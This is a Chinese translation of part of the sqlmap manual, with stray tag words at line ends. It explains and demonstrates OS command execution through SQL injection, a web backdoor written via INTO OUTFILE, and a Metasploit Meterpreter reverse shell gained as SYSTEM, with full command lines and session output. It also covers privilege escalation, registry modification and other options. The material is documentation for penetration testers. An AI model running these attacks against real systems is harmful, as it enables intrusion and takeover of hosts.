参数:--os-cmd和--os-shellphp
若数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有相关权限Sqlmap就能利用SQL注入执行任意的操做系统命令。python
当数据库管理系统是MySQL或PostgreSQL时,Sqlmap会经过前面介绍过的文件上传功能上传一个包含用户自定义函数sys_exec()和sys_eval()的二进制共享库文件,而后建立这两个用户自定义函数,经过这两个函数之一来执行用户指定的命令。选择哪一个函数取决于用户是否想要显示命令执行的标准输出。mysql
当数据库管理系统是微软的SQL Server时,Sqlmap经过存储过程xp_cmdshell来执行任意命令。 若xp_cmdshell被禁用(SQL Server >= 2005时默认禁用)Sqlmap会启用它; 若xp_cmdshell不存在,Sqlmap会建立它。linux
当用户想要看到命令执行的标准输出时,Sqlmap使用可列举的注入技术(盲注、带内和基于错误的注入),而当用户不想看到命令执行的标准输出时,堆查询注入技术将被用于执行命令。git
下例的目标是PostgreSQL:github
python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1
部分输出以下所示:web
web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: PostgreSQL [hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:12] [INFO] the back-end DBMS operating system is Linux [hh:mm:12] [INFO] testing if current user is DBA [hh:mm:12] [INFO] detecting back-end DBMS version from its banner [hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist [hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file [hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file do you want to retrieve the command standard output? [Y/n/a] y command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)' [hh:mm:19] [INFO] cleaning up the database management system do you want to remove UDF 'sys_eval'? [Y/n] y do you want to remove UDF 'sys_exec'? [Y/n] y [hh:mm:23] [INFO] database management system cleanup finished [hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually
使用参数“--os-shell”能够模拟一个能够执行任意命令的shell,和“--sql-shell”同样这个shell也能够用Tab键补全,支持历史记录。正则表达式
当堆查询不被支持(如PHP或ASP+Mysql)且数据库管理系统是MySQL时,仍然能够经过SELECT的从句INTO OUTFILE在Web所在主机的可写目录建立一个Web后门,经过这个Web后门来执行命令。Sqlmap支持这一技术并要求用户提供一些用逗号分割的多是可写目录的路径。Sqlmap支持如下这些服务器端脚本语言:sql
参数:--os-pwn、--os-smbrelay、--os-bof、--priv-esc、--msf-path和--tmp-pathshell
若数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有相关权限Sqlmap就有可能在攻击者的主机和数据库所在主机之间创建带外TCP链接。根据用户的选择,此链接能够是交互式命令shell,Meterpreter会话或图形用户界面(VNC)会话。
Sqlmap要靠Metasploit生成shellcode,在数据库所在主机执行shellcode有如下四种技术:
下面是以MySQL为目标的例子:
python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit [...] [hh:mm:31] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0 back-end DBMS: MySQL 5.0 [hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:31] [INFO] the back-end DBMS operating system is Windows how do you want to establish the tunnel? [1] TCP: Metasploit Framework (default) [2] ICMP: icmpsh - ICMP tunneling > [hh:mm:32] [INFO] testing if current user is DBA [hh:mm:32] [INFO] fetching current user what is the back-end database management system architecture? [1] 32-bit (default) [2] 64-bit > [hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist [hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:33] [INFO] detecting back-end DBMS version from its banner [hh:mm:33] [INFO] retrieving MySQL base directory absolute path [hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file [hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file how do you want to execute the Metasploit shellcode on the back-end database und erlying operating system? [1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default) [2] Stand-alone payload stager (file system way) > [hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode which connection type do you want to use? [1] Reverse TCP: Connect back from the database host to this machine (default) [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535 [3] Bind TCP: Listen on the database host for a connection > which is the local address? [192.168.136.1] which local port number do you want to use? [60641] which payload do you want to use? [1] Meterpreter (default) [2] Shell [3] VNC > [hh:mm:40] [INFO] creation in progress ... done [hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait.. =[ metasploit v3.7.0-dev [core:3.7 api:1.0] + -- --=[ 674 exploits - 351 auxiliary + -- --=[ 217 payloads - 27 encoders - 8 nops =[ svn r12272 updated 4 days ago (2011.04.07) PAYLOAD => windows/meterpreter/reverse_tcp EXITFUNC => thread LPORT => 60641 LHOST => 192.168.136.1 [*] Started reverse handler on 192.168.136.1:60641 [*] Starting the payload handler... [hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', please wait.. [*] Sending stage (749056 bytes) to 192.168.136.129 [*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 hh:mm:52 +0100 2011 meterpreter > Loading extension espia...success. meterpreter > Loading extension incognito...success. meterpreter > [-] The 'priv' extension has already been loaded. meterpreter > Loading extension sniffer...success. meterpreter > System Language : en_US OS : Windows .NET Server (Build 3790, Service Pack 2). Computer : W2K3R2 Architecture : x86 Meterpreter : x86/win32 meterpreter > Server username: NT AUTHORITY\SYSTEM meterpreter > ipconfig MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 Intel(R) PRO/1000 MT Network Connection Hardware MAC: 00:0c:29:fc:79:39 IP Address : 192.168.136.129 Netmask : 255.255.255.0 meterpreter > exit [*] Meterpreter session 1 closed. Reason: User exit
在Windows中Mysql默认以SYSTEM身份运行,但PostgreSQL不管是在Windows仍是在Linux中都以低权限的用户postgres运行。SQL Server 2000默认以SYSTEM身份运行,但SQL Server 2005到2008大多数时间以NETWORK SERVICE身份运行,少数时候以LOCAL SERVICE身份运行。
使用参数“--priv-esc”能够执行Metasploit的getsystem命令以尝试提高权限。
知足如下条件就能够对Windows注册表进行操做:
参数:--reg-read
参数:--reg-add
参数:--reg-del
参数:--reg-key、--reg-value、--reg-data和--reg-type
适当使用上列参数就能够在命令中添加或修改一个Windows注册表键值而不用在Sqlmap运行时以问答方式提供数据。
下面是一个例子:
python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
参数:-s
Sqlmap会自动地为每个目标建立长久保存的会话SQLite文件,该文件统一存储在特定目录(如:~/.sqlmap/output/)中,其中保存着恢复会话所需的全部数据。若用户想要明确地指定SQLite文件(例如想要将多个目标的数据存储到同一个SQLite文件中),可以使用此参数。
参数:-t
该参数后跟一个文件路径,用于将HTTP(S)请求和响应以文本格式记录到文件中做为日志。这样的日志在调试时是颇有用的。
参数:--batch
使用该参数可让Sqlmap以非交互模式运行,全部要求的输入都会取默认值。
参数:--charset
为正确解码数据,Sqlmap会使用Web服务器提供的信息(如HTTP头部中字符编码的设置),或是使用第三方库chardet来启发式地肯定字符编码。
可使用参数“--charset”来指定字符编码,如“--charset=GBK”。
参数:--crawl
Sqlmap能够从目标URL开始爬取目标站点并收集可能存在漏洞的URL。使用该参数还须要设置爬取深度,深度是相对于开始爬取的目标URL而言的。只有全部新连接都被递归地访问事后才算爬取结束。建议该参数与“--delay”配合使用。
下例的目标的MySQL:
python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
部分输出以下:
[xx:xx:53] [INFO] starting crawler [xx:xx:53] [INFO] searching for links with depth 1 [xx:xx:53] [WARNING] running in a single-thread mode. This could take a while [xx:xx:53] [INFO] searching for links with depth 2 [xx:xx:54] [INFO] heuristics detected web page charset 'ascii' [xx:xx:00] [INFO] 42/56 links visited (75%)
参数:--crawl-exclude
在此参数后跟一个正则表达式能够排除不想爬取的URL。若URL匹配正则,则不被爬取。如用“--crawl-exclude=logout”来排除全部含有字符串“logout”的URL。
参数:--csv-del
当数据被输出到CSV文件(--dump-format=CSV)时,默认以“,”分隔,可使用此参数指定分隔符。如:“--csv-del=";"”。
参数:--dbms-cred
在某些状况下因为数据库管理系统当前用户权限较低从而致使动做执行失败,此时能够用此参数提供admin用户认证凭据,Sqlmap就会对执行失败的部分特意使用“run as”机制(如:微软SQL Server的OPENROWSET)以admin用户身份从新执行失败的动做。固然,得知道admin用户认证凭据才行。
参数:--dump-format
Sqlmap对列举的数据有三种不一样的输出格式:CSV、HTML和SQLITE。默认为CSV格式,每一个数据表都被保存到一个文本文件中,一行是一条记录,以逗号分隔(或是用“--csv-del”指定分隔符)。选择HTML格式,全部数据被保存在一个HTML文件中,数据存放在一个个table中。选择SQLITE格式,全部数据被保存在一个SQLITE文件中,SQLITE中表名和结构会和原表相同。
参数:--eta
该参数用于显示估计的完成时间。下例是目标为Oracle的布尔型盲注:
python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
部分输出以下:
[hh:mm:01] [INFO] the back-end DBMS is Oracle [hh:mm:01] [INFO] fetching banner [hh:mm:01] [INFO] retrieving the length of query output [hh:mm:01] [INFO] retrieved: 64 17% [========> ] 11/64 Then: 100% [===================================================] 64/64 [hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: Oracle banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
如你所见,Sqlmap先计算查询输出的长度,而后估计完成时间,最后显示百分比进度条并统计已经接受的数据。
参数:--flush-session
使用该参数能够刷新会话文件,以免Sqlmap默认的缓存机制可能形成的一些问题。使用该参数的前提是真正理解会话文件的概念。另一个可行的方法是手工删除会话文件。
参数:--forms
除了用“-r”和“--data”来测试表单数据是否存在注入点外,还可使用参数“--forms”来测试表单数据是否存在注入点。
同时使用参数“--forms”和“-u”,Sqlmap会解析目标URL(“-u”指定的那个URL)返回页面中的表单,测试表单是否有注入点,而不对目标URL进行注入测试。
参数:-fresh-queries
使用此参数用于忽略会话文件中的查询结果从新执行查询。
参数:--hex
非ASCII数据很容易在传输时出错,使用hex函数能够将目标数据库中数据以十六进制返回。
下例的目标是PostgreSQL:
python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
部分输出以下所示:
[xx:xx:14] [INFO] fetching banner [xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR (58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC) [xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>' [xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
参数:--output-dir
Sqlmap默认将会话文件和结果文件保存到某个子目录output中,可使用此参数指定输出目录,如:“--output-dir=/tmp”。
参数:--parse-errors
如果Web应用被配置成Debug模式则极可能在HTTP响应页面中显示SQL错误信息。这些错误信息对于理解某操做失败的缘由是颇有用的。例如由于权限不足致使的失败错误信息是相似这样的:“Access denied for user ”。
下例的目标是微软SQL Server:
python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors
部分输出以下所示:
[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the timeneeded to find the right number of query columns. Automatically extending the rangefor current UNION query injection technique test [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' [xx:xx:17] [INFO] target URL appears to have 3 columns in query
参数:--pivot-column
有时(如在微软SQL Server、Sybase和SAP MaxDB中)因为缺少相似机制不能够直接使用偏移m,n的方式列举数据表记录。在这种状况下,Sqlmap经过肯定最适合的中轴列(最独特的值)来列举数据,中轴列的值稍后用于检索其余列值。
若是自动选择失败就须要使用该参数手动指定中轴列,如:“--pivot-column=id”。
参数:--save
使用该参数能够保存Sqlmap命令行参数到配置文件中,该文件可编辑而且可使用参数“-c”加载。配置文件是INI格式的。
参数:--update
使用此参数能够升级Sqlmap,显然,须要可以链接互联网。万一执行失败,能够在Sqlmap安装目录中执行“git pull”来升级Sqlmap。在Windows中没有git命令可使用SmartGit之类的git客户端。
实际上“--update”和“git pull”以一样的方式升级Sqlmap,都是从git仓库中获取最新源代码。
强烈建议在报告bug前先升级Sqlmap